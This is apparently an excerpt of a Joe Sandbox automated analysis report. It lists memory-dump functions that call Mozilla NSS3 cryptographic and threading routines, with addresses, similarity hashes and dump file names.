SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C786DD8
PK11_KeyGen.NSS3(00000000,8000000B,?,00000000,00000000), ref: 6C786E60
PK11_CreateContextBySymKey.NSS3(00000201,00000108,?,?), ref: 6C786F19
PK11_DigestBegin.NSS3(00000000), ref: 6C786F2D
PK11_DigestOp.NSS3(?,?,00000000), ref: 6C786F7B
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C787011
PK11_FreeSymKey.NSS3(00000000), ref: 6C787033
free.MOZGLUE(?), ref: 6C78703F
PK11_DigestFinal.NSS3(?,?,?,00000400), ref: 6C787060
SECITEM_CompareItem_Util.NSS3(?,?), ref: 6C787087
PR_SetError.NSS3(FFFFE062,00000000), ref: 6C7870AF

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: K11_$Util$DigestError$ContextItem_$AlgorithmAlloc_BeginCompareCreateDecodeDestroyFinalFreeInteger_Tag_free
String ID:
API String ID: 2108637330-0
Opcode ID: fca39416608713d275081df8177faa28dba05f1c3c6e16b2f43278fda80ea19f
Instruction ID: 4eede290e39979d2275cfccf30a27f3c8b45f2f57b3c5352cf675021266b7c05
Opcode Fuzzy Hash: fca39416608713d275081df8177faa28dba05f1c3c6e16b2f43278fda80ea19f
Instruction Fuzzy Hash: BCA11A71526200ABEB009B24DE49B5B7294EB8131CF248939FB19CBB81F775DA45C7A3

Function 6C74AEC0 Relevance: 24.3, APIs: 16, Instructions: 272threadCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,6C72AB95,00000000,?,00000000,00000000,00000000), ref: 6C74AF25
EnterCriticalSection.KERNEL32(?,?,?,?,6C72AB95,00000000,?,00000000,00000000,00000000), ref: 6C74AF39
PR_Unlock.NSS3(?,?,?,6C72AB95,00000000,?,00000000,00000000,00000000), ref: 6C74AF51
PR_SetError.NSS3(FFFFE041,00000000,?,?,?,6C72AB95,00000000,?,00000000,00000000,00000000), ref: 6C74AF69
TlsGetValue.KERNEL32 ref: 6C74B06B
EnterCriticalSection.KERNEL32(?), ref: 6C74B083
PR_Unlock.NSS3(?), ref: 6C74B0A4
TlsGetValue.KERNEL32 ref: 6C74B0C1
EnterCriticalSection.KERNEL32(00000000), ref: 6C74B0D9
PR_Unlock.NSS3 ref: 6C74B102
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C74B151
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C74B182

Part of subcall function 6C77FAB0: free.MOZGLUE(?,-00000001,?,?,6C71F673,00000000,00000000), ref: 6C77FAC7

PR_SetError.NSS3(FFFFE08A,00000000), ref: 6C74B177

Part of subcall function 6C7CC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C7CC2BF

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,6C72AB95,00000000,?,00000000,00000000,00000000), ref: 6C74B1A2
PR_GetCurrentThread.NSS3(?,?,?,?,6C72AB95,00000000,?,00000000,00000000,00000000), ref: 6C74B1AA
PR_SetError.NSS3(FFFFE018,00000000,?,?,?,?,6C72AB95,00000000,?,00000000,00000000,00000000), ref: 6C74B1C2

Part of subcall function 6C771560: TlsGetValue.KERNEL32(00000000,?,6C740844,?), ref: 6C77157A
Part of subcall function 6C771560: EnterCriticalSection.KERNEL32(?,?,?,6C740844,?), ref: 6C77158F
Part of subcall function 6C771560: PR_Unlock.NSS3(?,?,?,?,6C740844,?), ref: 6C7715B2

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlock$ErrorItem_UtilZfree$CurrentThreadfree
String ID:
API String ID: 4188828017-0
Opcode ID: 50d05c78ac7a68eec2048e1fd8d7253e0ce294534f651e458822dac62504fa63
Instruction ID: 1a815e12791ffabca7bfc44c5a168a4080a913f44432bb21dc771b88995a1954
Opcode Fuzzy Hash: 50d05c78ac7a68eec2048e1fd8d7253e0ce294534f651e458822dac62504fa63
Instruction Fuzzy Hash: 00A1BFB1E002069BEF019F64DE49AEEB7B4AF05308F148135E809A7752E731E959CBE1

Function 6C742C40 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 163COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(#?tl,?,6C73E477,?,?,?,00000001,00000000,?,?,6C743F23,?), ref: 6C742C62
EnterCriticalSection.KERNEL32(0000001C,?,6C73E477,?,?,?,00000001,00000000,?,?,6C743F23,?), ref: 6C742C76
PL_HashTableLookup.NSS3(00000000,?,?,6C73E477,?,?,?,00000001,00000000,?,?,6C743F23,?), ref: 6C742C86
PR_Unlock.NSS3(00000000,?,?,?,?,6C73E477,?,?,?,00000001,00000000,?,?,6C743F23,?), ref: 6C742C93

Part of subcall function 6C7CDD70: TlsGetValue.KERNEL32 ref: 6C7CDD8C
Part of subcall function 6C7CDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C7CDDB4

TlsGetValue.KERNEL32(?,?,?,?,?,6C73E477,?,?,?,00000001,00000000,?,?,6C743F23,?), ref: 6C742CC6
EnterCriticalSection.KERNEL32(0000001C,?,?,?,?,?,6C73E477,?,?,?,00000001,00000000,?,?,6C743F23,?), ref: 6C742CDA
PL_HashTableLookup.NSS3(00000000,?,?,?,?,?,?,6C73E477,?,?,?,00000001,00000000,?,?,6C743F23), ref: 6C742CEA
PR_Unlock.NSS3(00000000,?,?,?,?,?,?,?,6C73E477,?,?,?,00000001,00000000,?), ref: 6C742CF7
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,6C73E477,?,?,?,00000001,00000000,?), ref: 6C742D4D
EnterCriticalSection.KERNEL32(?), ref: 6C742D61
PL_HashTableLookup.NSS3(?,?), ref: 6C742D71
PR_Unlock.NSS3(?), ref: 6C742D7E

Part of subcall function 6C7107A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C6A204A), ref: 6C7107AD
Part of subcall function 6C7107A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C6A204A), ref: 6C7107CD
Part of subcall function 6C7107A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C6A204A), ref: 6C7107D6
Part of subcall function 6C7107A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C6A204A), ref: 6C7107E4
Part of subcall function 6C7107A0: TlsSetValue.KERNEL32(00000000,?,6C6A204A), ref: 6C710864
Part of subcall function 6C7107A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C710880
Part of subcall function 6C7107A0: TlsSetValue.KERNEL32(00000000,?,?,6C6A204A), ref: 6C7108CB
Part of subcall function 6C7107A0: TlsGetValue.KERNEL32(?,?,6C6A204A), ref: 6C7108D7
Part of subcall function 6C7107A0: TlsGetValue.KERNEL32(?,?,6C6A204A), ref: 6C7108FB

Strings

#?tl, xrefs: 6C742C43

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: Value$CriticalSection$EnterHashLookupTableUnlock$calloc$Leave
String ID: #?tl
API String ID: 2446853827-3013864672
Opcode ID: cc1d6639814e62f08f20d2ee6940af7b7fae39d1540f8127d4d36b19fe90a34f
Instruction ID: 5fefb0d03644cde2874a9f93314bb4bdef05bc64104887e362cae2214b069b5b
Opcode Fuzzy Hash: cc1d6639814e62f08f20d2ee6940af7b7fae39d1540f8127d4d36b19fe90a34f
Instruction Fuzzy Hash: 4951C1B6D00215ABDB119F24DD4D9AAB768AF1925CB088530EC18D7B12FB31ED64CBE1

Function 6C79AD90 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 127COMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C79ADB1

Part of subcall function 6C77BE30: SECOID_FindOID_Util.NSS3(6C73311B,00000000,?,6C73311B,?), ref: 6C77BE44

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6C79ADF4
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6C79AE08

Part of subcall function 6C77B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C8518D0,?), ref: 6C77B095

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C79AE25
PL_FreeArenaPool.NSS3 ref: 6C79AE63
PR_CallOnce.NSS3(6C882AA4,6C7812D0), ref: 6C79AE4D

Part of subcall function 6C6A4C70: TlsGetValue.KERNEL32(?,?,?,6C6A3921,6C8814E4,6C7ECC70), ref: 6C6A4C97
Part of subcall function 6C6A4C70: EnterCriticalSection.KERNEL32(?,?,?,?,6C6A3921,6C8814E4,6C7ECC70), ref: 6C6A4CB0
Part of subcall function 6C6A4C70: PR_Unlock.NSS3(?,?,?,?,?,6C6A3921,6C8814E4,6C7ECC70), ref: 6C6A4CC9

SECKEY_DestroyPublicKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C79AE93
PR_CallOnce.NSS3(6C882AA4,6C7812D0), ref: 6C79AECC
PL_FreeArenaPool.NSS3 ref: 6C79AEDE
PL_FinishArenaPool.NSS3 ref: 6C79AEE6
PR_SetError.NSS3(FFFFD004,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C79AEF5
PL_FinishArenaPool.NSS3 ref: 6C79AF16

Strings

security, xrefs: 6C79ADEE

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: ArenaPool$Util$AlgorithmCallErrorFinishFreeOnceTag_$CriticalDecodeDestroyEnterFindInitItem_PublicQuickSectionUnlockValue
String ID: security
API String ID: 3441714441-3315324353
Opcode ID: 61aed700436e883a26827c29061bc29115a16fe2a799374b4077cf0be46ae38b
Instruction ID: 0b4f47ea6e2c9d240a8bfaacd766bd826699c599ad2b5d3e5557e579064ecd8e
Opcode Fuzzy Hash: 61aed700436e883a26827c29061bc29115a16fe2a799374b4077cf0be46ae38b
Instruction Fuzzy Hash: F9414AB2D0631467E7215A14BE4EBAA32ACAF5272CF100535E91592F41FB39D608C6D3

Function 6C83AF70 Relevance: 22.7, APIs: 15, Instructions: 221threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C7E9890: TlsGetValue.KERNEL32(?,?,?,6C7E97EB), ref: 6C7E989E

EnterCriticalSection.KERNEL32(?), ref: 6C83AF88
_PR_MD_NOTIFYALL_CV.NSS3(?), ref: 6C83AFCE
PR_SetPollableEvent.NSS3(?), ref: 6C83AFD9
EnterCriticalSection.KERNEL32(?), ref: 6C83AFEF
_PR_MD_NOTIFY_CV.NSS3(?), ref: 6C83B00F
_PR_MD_UNLOCK.NSS3(?), ref: 6C83B02F
_PR_MD_UNLOCK.NSS3(?), ref: 6C83B070
PR_JoinThread.NSS3(?), ref: 6C83B07B
free.MOZGLUE(?), ref: 6C83B084
EnterCriticalSection.KERNEL32(?), ref: 6C83B09B
_PR_MD_UNLOCK.NSS3(?), ref: 6C83B0C4
PR_JoinThread.NSS3(?), ref: 6C83B0F3
free.MOZGLUE(?), ref: 6C83B0FC
PR_JoinThread.NSS3(?), ref: 6C83B137
free.MOZGLUE(?), ref: 6C83B140

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: CriticalEnterJoinSectionThreadfree$EventPollableValue
String ID:
API String ID: 235599594-0
Opcode ID: 9024d8b677ecfff7978b03ba9e6ff5f2b230d58f7ff557cefe8cfdeb8f24aed6
Instruction ID: 37087c9744e21860820b4fedbecc9818ed4cc9d7b5bcbbccfcc04404d4a4602a
Opcode Fuzzy Hash: 9024d8b677ecfff7978b03ba9e6ff5f2b230d58f7ff557cefe8cfdeb8f24aed6
Instruction Fuzzy Hash: 1C916AF6900611CFCB10DF19C98489ABBB1BF493187299969D81D5BB22E732FC45CBD0

Function 6C742980 Relevance: 22.7, APIs: 15, Instructions: 217COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6C729E71,?,?,6C73F03D), ref: 6C7429A2
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,6C729E71,?), ref: 6C7429B6
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6C729E71,?,?,6C73F03D), ref: 6C7429E2
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,6C729E71,?), ref: 6C7429F6
PL_HashTableLookup.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C729E71,?), ref: 6C742A06
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C729E71), ref: 6C742A13

Part of subcall function 6C7CDD70: TlsGetValue.KERNEL32 ref: 6C7CDD8C
Part of subcall function 6C7CDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C7CDDB4

PR_Unlock.NSS3(?), ref: 6C742A6A
TlsGetValue.KERNEL32 ref: 6C742A98
EnterCriticalSection.KERNEL32(?), ref: 6C742AAC
PL_HashTableLookup.NSS3(?,?), ref: 6C742ABC
PR_Unlock.NSS3(?), ref: 6C742AC9
TlsGetValue.KERNEL32 ref: 6C742B3D
EnterCriticalSection.KERNEL32(?), ref: 6C742B51
PL_HashTableLookup.NSS3(?,6C729E71), ref: 6C742B61
PR_Unlock.NSS3(?), ref: 6C742B6E

Part of subcall function 6C7107A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C6A204A), ref: 6C7107AD
Part of subcall function 6C7107A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C6A204A), ref: 6C7107CD
Part of subcall function 6C7107A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C6A204A), ref: 6C7107D6
Part of subcall function 6C7107A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C6A204A), ref: 6C7107E4
Part of subcall function 6C7107A0: TlsSetValue.KERNEL32(00000000,?,6C6A204A), ref: 6C710864
Part of subcall function 6C7107A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C710880
Part of subcall function 6C7107A0: TlsSetValue.KERNEL32(00000000,?,?,6C6A204A), ref: 6C7108CB
Part of subcall function 6C7107A0: TlsGetValue.KERNEL32(?,?,6C6A204A), ref: 6C7108D7
Part of subcall function 6C7107A0: TlsGetValue.KERNEL32(?,?,6C6A204A), ref: 6C7108FB

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: Value$CriticalSection$EnterUnlock$HashLookupTable$calloc$Leave
String ID:
API String ID: 2204204336-0
Opcode ID: bba834ba0b3706274d98f509fb9226c8a1229c111de2499c8f85fe233aa7dad7
Instruction ID: 527f6ee527b7ce3d0cab1919bbc4ca5a93a4cf3d671768b1ee90f1464c1619b8
Opcode Fuzzy Hash: bba834ba0b3706274d98f509fb9226c8a1229c111de2499c8f85fe233aa7dad7
Instruction Fuzzy Hash: CF71F276A00204ABDB119F24DD4C9AA7B74BF15358B098571EC1CDBB12FB31E964CBE1

Function 6C7B5CF0 Relevance: 22.7, APIs: 15, Instructions: 190COMMON

Download Yara Rule

APIs

Part of subcall function 6C7B2BE0: CERT_DestroyCertificate.NSS3(?,00000000,00000000,?,6C7B2A28,00000060,00000001), ref: 6C7B2BF0
Part of subcall function 6C7B2BE0: CERT_DestroyCertificate.NSS3(?,00000000,00000000,?,6C7B2A28,00000060,00000001), ref: 6C7B2C07
Part of subcall function 6C7B2BE0: SECKEY_DestroyPublicKey.NSS3(?,00000000,00000000,?,6C7B2A28,00000060,00000001), ref: 6C7B2C1E
Part of subcall function 6C7B2BE0: free.MOZGLUE(?,00000000,00000000,?,6C7B2A28,00000060,00000001), ref: 6C7B2C4A

free.MOZGLUE(?,?,6C7BAAD4,?,?,?,?,?,?,?,?,00000000,?,6C7B80C1), ref: 6C7B5D0F
free.MOZGLUE(?,?,?,6C7BAAD4,?,?,?,?,?,?,?,?,00000000,?,6C7B80C1), ref: 6C7B5D4E
free.MOZGLUE(?,?,?,6C7BAAD4,?,?,?,?,?,?,?,?,00000000,?,6C7B80C1), ref: 6C7B5D62
free.MOZGLUE(?,?,?,?,6C7BAAD4,?,?,?,?,?,?,?,?,00000000,?,6C7B80C1), ref: 6C7B5D85
free.MOZGLUE(?,?,?,?,6C7BAAD4,?,?,?,?,?,?,?,?,00000000,?,6C7B80C1), ref: 6C7B5D99
free.MOZGLUE(?,?,?,?,6C7BAAD4,?,?,?,?,?,?,?,?,00000000,?,6C7B80C1), ref: 6C7B5DFA
SECKEY_DestroyPrivateKey.NSS3(?,?,?,?,6C7BAAD4,?,?,?,?,?,?,?,?,00000000,?,6C7B80C1), ref: 6C7B5E33
SECKEY_DestroyPublicKey.NSS3(?,?,?,?,?,6C7BAAD4,?,?,?,?,?,?,?,?,00000000), ref: 6C7B5E3E
free.MOZGLUE(?,?,?,?,?,?,6C7BAAD4,?,?,?,?,?,?,?,?,00000000), ref: 6C7B5E47
free.MOZGLUE(?,?,?,?,6C7BAAD4,?,?,?,?,?,?,?,?,00000000,?,6C7B80C1), ref: 6C7B5E60
SECITEM_ZfreeItem_Util.NSS3(00000008,00000000,?,?,?,6C7BAAD4,?,?,?,?,?,?,?,?,00000000), ref: 6C7B5E78
free.MOZGLUE(?,?,?,?,?,?,?,6C7BAAD4), ref: 6C7B5EB9
free.MOZGLUE(?,?,?,?,?,?,?,6C7BAAD4), ref: 6C7B5EF0
SECKEY_DestroyPrivateKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,6C7BAAD4), ref: 6C7B5F3D
SECKEY_DestroyPublicKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,6C7BAAD4), ref: 6C7B5F4B

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: free$Destroy$Public$CertificatePrivate$Item_UtilZfree
String ID:
API String ID: 4273776295-0
Opcode ID: ca93ef751aa8ba61d1a8c6707db42091bb971846635d91d0ccc8d9e34a4192fd
Instruction ID: 33775ecc00c8aed379e78e2f1391f0930135dd0f9c20e2fc27cac41ef0c43e9b
Opcode Fuzzy Hash: ca93ef751aa8ba61d1a8c6707db42091bb971846635d91d0ccc8d9e34a4192fd
Instruction Fuzzy Hash: 3171C1B4A00B019FDB51CF24E989A96B7B5FF89308F148638E81E97712E731F915CB91

Function 6C738DE0 Relevance: 22.7, APIs: 15, Instructions: 173memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?), ref: 6C738E22
EnterCriticalSection.KERNEL32(?), ref: 6C738E36
memset.VCRUNTIME140(?,00000000,?), ref: 6C738E4F
calloc.MOZGLUE(00000001,?,?,?), ref: 6C738E78
memcpy.VCRUNTIME140(-00000008,?,?), ref: 6C738E9B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C738EAC
PL_ArenaAllocate.NSS3(?,?), ref: 6C738EDE
memcpy.VCRUNTIME140(-00000008,?,?), ref: 6C738EF0
memset.VCRUNTIME140(?,00000000,?), ref: 6C738F00
free.MOZGLUE(?), ref: 6C738F0E
memcpy.VCRUNTIME140(?,?,?), ref: 6C738F39
memset.VCRUNTIME140(?,00000000,?), ref: 6C738F4A
memset.VCRUNTIME140(?,00000000,?), ref: 6C738F5B
PR_Unlock.NSS3(?), ref: 6C738F72
PR_Unlock.NSS3(?), ref: 6C738F82

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: memset$memcpy$Unlock$AllocateArenaCriticalEnterSectionValuecallocfree
String ID:
API String ID: 1569127702-0
Opcode ID: c30f9f92be374c3f812e32c1f0927b4b6da000da690e71a67f2bb693128ad36d
Instruction ID: c8551e74000d7000b99728d4dd56ee3bd0214249a998365667fe40ad9a66a9ef
Opcode Fuzzy Hash: c30f9f92be374c3f812e32c1f0927b4b6da000da690e71a67f2bb693128ad36d
Instruction Fuzzy Hash: 195126B2D002259FDB218E68CD889AEB779EF45358F15553AE80CDB742E731ED0487E1

Function 6C75CE90 Relevance: 22.6, APIs: 15, Instructions: 129COMMON

Download Yara Rule

APIs

PK11_DoesMechanism.NSS3(?,00000132), ref: 6C75CE9E
PK11_DoesMechanism.NSS3(?,00000321), ref: 6C75CEBB
PK11_DoesMechanism.NSS3(?,00001081), ref: 6C75CED8
PK11_DoesMechanism.NSS3(?,00000551), ref: 6C75CEF5
PK11_DoesMechanism.NSS3(?,00000651), ref: 6C75CF12
PK11_DoesMechanism.NSS3(?,00000321), ref: 6C75CF2F
PK11_DoesMechanism.NSS3(?,00000121), ref: 6C75CF4C
PK11_DoesMechanism.NSS3(?,00000400), ref: 6C75CF69
PK11_DoesMechanism.NSS3(?,00000341), ref: 6C75CF86
PK11_DoesMechanism.NSS3(?,00000311), ref: 6C75CFA3
PK11_DoesMechanism.NSS3(?,00000301), ref: 6C75CFBC
PK11_DoesMechanism.NSS3(?,00000331), ref: 6C75CFD5
PK11_DoesMechanism.NSS3(?,00000101), ref: 6C75CFEE
PK11_DoesMechanism.NSS3(?,00000141), ref: 6C75D007
PK11_DoesMechanism.NSS3(?,00001008), ref: 6C75D021

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: DoesK11_Mechanism
String ID:
API String ID: 622698949-0
Opcode ID: c609708ecc05f08e56bb69c1b70e37aefe8df33e1a02ba745add6446eb52fb33
Instruction ID: 9fb0c5f315f07473596c32496b27f65820a7d8cda521c3cb435635207bcb8112
Opcode Fuzzy Hash: c609708ecc05f08e56bb69c1b70e37aefe8df33e1a02ba745add6446eb52fb33
Instruction Fuzzy Hash: 2A31237175291827EF2D50565F2DBDF144A8B6530EF440038F90AE57C1FAC5966702B9

Function 6C830FF0 Relevance: 22.6, APIs: 15, Instructions: 92COMMON

Download Yara Rule

APIs

PR_Lock.NSS3(?), ref: 6C831000

Part of subcall function 6C7E9BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6C711A48), ref: 6C7E9BB3
Part of subcall function 6C7E9BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6C711A48), ref: 6C7E9BC8

PR_SetError.NSS3(FFFFE8D5,00000000), ref: 6C831016

Part of subcall function 6C7CC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C7CC2BF

PR_Unlock.NSS3(?), ref: 6C831021

Part of subcall function 6C7CDD70: TlsGetValue.KERNEL32 ref: 6C7CDD8C
Part of subcall function 6C7CDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C7CDDB4

PR_SetError.NSS3(FFFFE89D,00000000), ref: 6C831046
PR_Unlock.NSS3(?), ref: 6C83106B
PR_Lock.NSS3 ref: 6C831079
PR_Unlock.NSS3 ref: 6C831096
